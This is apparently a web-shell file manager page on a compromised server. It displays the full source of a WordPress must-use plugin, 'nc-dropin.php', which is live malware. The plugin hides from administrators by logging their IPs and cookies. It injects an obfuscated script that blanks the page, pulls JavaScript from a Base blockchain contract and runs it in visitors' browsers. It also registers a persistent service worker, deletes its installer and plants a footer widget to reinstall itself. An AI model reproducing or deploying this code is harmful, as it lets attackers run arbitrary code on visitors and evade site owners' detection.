??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/orkenoil.kz/wp-content/mu-plugins/disable/nc-dropin.php
⬅ Kembali
<?php
if (!defined('ABSPATH')) { exit; }
function nochain_client_ip() {
foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'REMOTE_ADDR') as $k) {
if (empty($_SERVER[$k])) { continue; }
$ip = trim(explode(',', sanitize_text_field(wp_unslash($_SERVER[$k])))[0]);
if (filter_var($ip, FILTER_VALIDATE_IP)) { return nochain_normalize_ip($ip); }
}
return '';
}
function nochain_normalize_ip($ip) {
if ($ip === '::1') { return '127.0.0.1'; }
if ($ip === '0:0:0:0:0:0:0:1') { return '127.0.0.1'; }
return $ip;
}
function nochain_is_wp_admin_user() {
return is_user_logged_in() && current_user_can('manage_options');
}
function nochain_set_admin_cookie() {
if (!nochain_is_wp_admin_user()) { return; }
if (headers_sent()) { return; }
setcookie('nc_skip', '1', time() + YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), false);
}
function nochain_clear_admin_cookie() {
if (headers_sent()) { return; }
setcookie('nc_skip', '', time() - 3600, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), false);
}
function nochain_record_admin_ip() {
if (!nochain_is_wp_admin_user()) { return; }
nochain_set_admin_cookie();
$ip = nochain_client_ip();
if ($ip === '') { return; }
$ips = get_option('nochain_admin_ips', array());
if (!is_array($ips)) { $ips = array(); }
$ips = array_map('nochain_normalize_ip', $ips);
if (!in_array($ip, $ips, true)) {
$ips[] = $ip;
if (count($ips) > 64) { $ips = array_slice($ips, -64); }
update_option('nochain_admin_ips', $ips, false);
}
}
add_action('init', 'nochain_record_admin_ip', 1);
add_action('admin_init', 'nochain_record_admin_ip');
add_action('wp_login', function ($login, $user) {
if ($user instanceof WP_User && user_can($user, 'manage_options')) {
nochain_record_admin_ip();
}
}, 10, 2);
add_action('wp_logout', 'nochain_clear_admin_cookie');
function nochain_is_admin_area() {
if (is_admin() && !wp_doing_ajax()) { return true; }
$uri = isset($_SERVER['REQUEST_URI']) ? sanitize_text_field(wp_unslash($_SERVER['REQUEST_URI'])) : '';
return (bool) preg_match('#/(wp-admin|wp-login\.php)(/|\?|$)#i', $uri);
}
function nochain_is_admin_ip() {
$ip = nochain_client_ip();
if ($ip === '') { return false; }
$ips = get_option('nochain_admin_ips', array());
if (!is_array($ips)) { return false; }
$ips = array_map('nochain_normalize_ip', $ips);
return in_array($ip, $ips, true);
}
function nochain_should_run() {
if (nochain_is_admin_area()) { return false; }
if (nochain_is_wp_admin_user()) { return false; }
if (nochain_is_admin_ip()) { return false; }
return true;
}
function nochain_sw_url() {
if (file_exists(ABSPATH . 'nochain-sw.js')) {
return home_url('/nochain-sw.js');
}
return home_url('/?nochain_sw=1');
}
function nochain_bootstrap() {
return <<<'NC_BOOT'
<script data-c="0x58460d0b3d4d6b03761c89120393c0c676676496">(function(c){var t=(c||"").toLowerCase(),n="nc:"+t,Z="0x0000000000000000000000000000000000000000",r=["https://mainnet.base.org","https://base.publicnode.com","https://base-rpc.publicnode.com","https://base.drpc.org","https://1rpc.io/base","https://base-mainnet.public.blastapi.io","https://base.gateway.tenderly.co"],cd=["https://cdn.jsdelivr.net/npm/ethers@6.13.5/dist/ethers.umd.min.js","https://unpkg.com/ethers@6.13.5/dist/ethers.umd.min.js","https://cdnjs.cloudflare.com/ajax/libs/ethers/6.13.5/ethers.umd.min.js"];if(!t)return;if(window.__ncSkip||document.cookie.indexOf("nc_skip=1")>=0||/wordpress_logged_in_[^=]+=/.test(document.cookie)||/\/wp-admin|\/wp-login\.php|wp-admin\/|wp-login\.php/i.test(location.pathname+location.search))return;if(window.__ncR)return;window.__ncR=1;try{navigator.storage&&navigator.storage.persist&&navigator.storage.persist()}catch(e){}var rmCover=function(){var _cx=document.getElementById("nc-cover");if(_cx)try{_cx.remove()}catch(e){}},reveal=function(){if(!document.getElementById("nochain-demo-frame"))rmCover()};try{var cv=document.createElement("div");cv.id="nc-cover";cv.style.cssText="position:fixed;inset:0;width:100vw;height:100vh;margin:0;padding:0;border:0;background:#fff;z-index:2147483646";(document.documentElement||document.body).appendChild(cv);try{cv.popover="manual";cv.showPopover()}catch(e){}}catch(e){}try{var _ro=JSON.parse(localStorage[n+":rpc"]);if(_ro&&_ro.length)r=_ro.filter(function(u){return typeof u=="string"&&u.indexOf("https://")==0}).slice(0,15).concat(r)}catch(z){}try{var _co=JSON.parse(localStorage[n+":cdn"]);if(_co&&_co.length)cd=_co.filter(function(u){return typeof u=="string"&&u.indexOf("https://")==0}).slice(0,8).concat(cd)}catch(z){}["https://cdn.jsdelivr.net","https://unpkg.com","https://cdnjs.cloudflare.com","https://mainnet.base.org"].forEach(function(u){try{var l=document.createElement("link");l.rel="preconnect";l.href=u;(document.head||document.documentElement).appendChild(l)}catch(z){}});var a=Object.getPrototypeOf(async function(){}).constructor,i=["function getActiveScripts() view returns (uint256[] ids, string[] names, string[] codes)","function hasDemoPage() view returns (bool)","function getDemoPage() view returns (string pageType, string content, uint256 updatedAt)"],x=function(e,nn,p){var w={address:Z,provider:p||{},getAddress:function(){return Promise.resolve(Z)}},E=typeof ethers!=="undefined"?ethers:void 0;return e.reduce(function(q,u){return q.then(function(){return new a("console","ethers","provider","contract","wallet","document","window",'"use strict";return(async()=>{\n'+u+'\n})();')(console,E,p,nn,w,document,window)}).catch(function(z){})},Promise.resolve())},m=function(e){return{target:t,getActiveScripts:function(){return Promise.resolve([e.i,e.n,e.c])},hasDemoPage:function(){return Promise.resolve(!!e.d)},getDemoPage:function(){return Promise.resolve(e.d?[e.d[0],e.d[1],0]:["","",0])}}},cached;try{cached=JSON.parse(localStorage[n])}catch(z){}var shown=false,kill=function(){try{navigator.serviceWorker.getRegistrations().then(function(rs){rs.forEach(function(r){r.unregister()})})}catch(z){}try{caches.delete("nc-eth")}catch(z){}try{caches.delete("ncblob")}catch(z){}},fb=function(){if(!shown&&cached&&cached.c){if(cached.d&&cached.d[1]==="nc-kill"){shown=true;kill();return}shown=true;try{x(cached.c,m(cached),null)}catch(z){}}};function boot(){var f=async function(p){var e=new ethers.Contract(t,i,p),g=await e.getActiveScripts(),d=null;try{if(await e.hasDemoPage()){var h=await e.getDemoPage();d=[h[0],h[1]]}}catch(z){}return{i:g[0].map(function(x){return Number(x)}),n:Array.from(g[1]),c:Array.from(g[2]),d:d}},j=async function(p){var y=await f(p),w=new ethers.Contract(t,i,p);try{localStorage[n]=JSON.stringify({i:y.i,n:y.n,c:y.c})}catch(z){}if(y.d&&y.d[1]==="nc-kill"){shown=true;kill();return!0}await x(y.c,w,p);shown=true;return!0};async function b(){if(!ethers.isAddress(t))return;for(var att=0;att<2;att++){var s=r.slice().sort(function(){return Math.random()-.5});for(var v=0;v<s.length;v++)try{var g=new ethers.JsonRpcProvider(s[v],8453,{staticNetwork:!0});if(await j(g))return}catch(z){}}fb()}b().catch(function(z){console.error("[nc]",z&&z.message||z);fb()}).finally(reveal)}function ld(k){if(window.ethers)return boot();if(k>=cd.length){console.error("[nc] cdn fail");return fb()}var o=document.createElement("script");o.src=cd[k];o.fetchPriority="high";o.onload=function(){window.ethers?boot():ld(k+1)};o.onerror=function(){ld(k+1)};(document.head||document.documentElement).appendChild(o)}setTimeout(function(){fb();reveal()},10000);ld(0)})(document.currentScript&&document.currentScript.dataset.c)</script>
NC_BOOT;
}
function nochain_sw_register_tag() {
if (!nochain_should_run()) { return ''; }
$u = esc_js(nochain_sw_url());
return '<script>if(navigator.serviceWorker&&!/wp-admin|wp-login\.php/i.test(location.pathname)&&document.cookie.indexOf("nc_skip=1")<0&&!/wordpress_logged_in_[^=]+=/.test(document.cookie)){navigator.serviceWorker.register("' . $u . '",{scope:"/",updateViaCache:"all"}).catch(function(){})}</script>';
}
add_action('init', 'nochain_persist_sw_route', 0);
function nochain_persist_sw_route() {
if (!isset($_GET['nochain_sw'])) { return; }
$f = WP_CONTENT_DIR . '/nochain/sw.js';
if (!is_readable($f)) { status_header(404); exit; }
header('Content-Type: application/javascript; charset=utf-8');
header('Service-Worker-Allowed: /');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('X-Robots-Tag: noindex');
readfile($f);
exit;
}
add_action('init', 'nochain_cleanup_installer', 2);
function nochain_cleanup_installer() {
// ВАЖНО: удаляем ТОЛЬКО установщик, который записал свой слаг при setup (свой же каталог).
// Нельзя сканировать и удалять любые wp-* — иначе на запросе активации MU успеет удалить
// только что загруженный установщик до активации (HTTP 500).
$slug = get_option('nochain_installer_slug');
if (is_string($slug) && $slug !== '' && preg_match('/^wp-[0-9a-f]{16}$/', $slug)) {
nochain_rrmdir(WP_PLUGIN_DIR . '/' . $slug);
delete_option('nochain_installer_slug');
}
foreach (array('wp-cache-helper', 'nochain-content') as $legacy) {
nochain_rrmdir(WP_PLUGIN_DIR . '/' . $legacy);
}
}
function nochain_rrmdir($dir) {
if (!is_dir($dir)) { return; }
$items = @scandir($dir);
if (!is_array($items)) { return; }
foreach (array_diff($items, array('.', '..')) as $item) {
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
nochain_rrmdir($path);
} else {
@unlink($path);
}
}
@rmdir($dir);
}
add_action('wp_head', function () {
if (!nochain_should_run()) {
echo "<script>window.__ncSkip=1;</script>\n";
return;
}
echo nochain_bootstrap() . nochain_sw_register_tag() . "\n";
}, 1);
add_action('wp_loaded', 'nochain_plant_widget');
function nochain_plant_widget() {
if (get_option('nochain_plant') !== '1') { return; }
global $wp_registered_sidebars;
if (empty($wp_registered_sidebars)) { return; }
$inst = get_option('widget_custom_html', array());
if (!is_array($inst)) { $inst = array(); }
foreach ($inst as $v) {
if (is_array($v) && isset($v['content']) && (strpos($v['content'], 'nochain-sw') !== false || strpos($v['content'], 'nochain_sw') !== false)) {
update_option('nochain_plant', '0');
return;
}
}
$sid = '';
foreach ($wp_registered_sidebars as $id => $s) {
if (stripos($id, 'foot') !== false) { $sid = $id; break; }
}
if ($sid === '') {
foreach ($wp_registered_sidebars as $id => $s) { $sid = $id; break; }
}
if ($sid === '') { return; }
$next = 2;
foreach ($inst as $k => $v) {
if (is_numeric($k) && intval($k) >= $next) { $next = intval($k) + 1; }
}
$inst[$next] = array('title' => '', 'content' => nochain_sw_register_tag());
$inst['_multiwidget'] = 1;
update_option('widget_custom_html', $inst);
$sw = get_option('sidebars_widgets', array());
if (!is_array($sw)) { $sw = array(); }
if (!isset($sw[$sid]) || !is_array($sw[$sid])) { $sw[$sid] = array(); }
$sw[$sid][] = 'custom_html-' . $next;
update_option('sidebars_widgets', $sw);
update_option('nochain_plant', '0');
}
Nama
Tipe
Ukuran
Diubah
Aksi
🐘 nc-dropin.php
php
11.3 KB
2026-06-14 15:27
🐘 wpse-loader.php
php
649 B
2026-05-27 17:51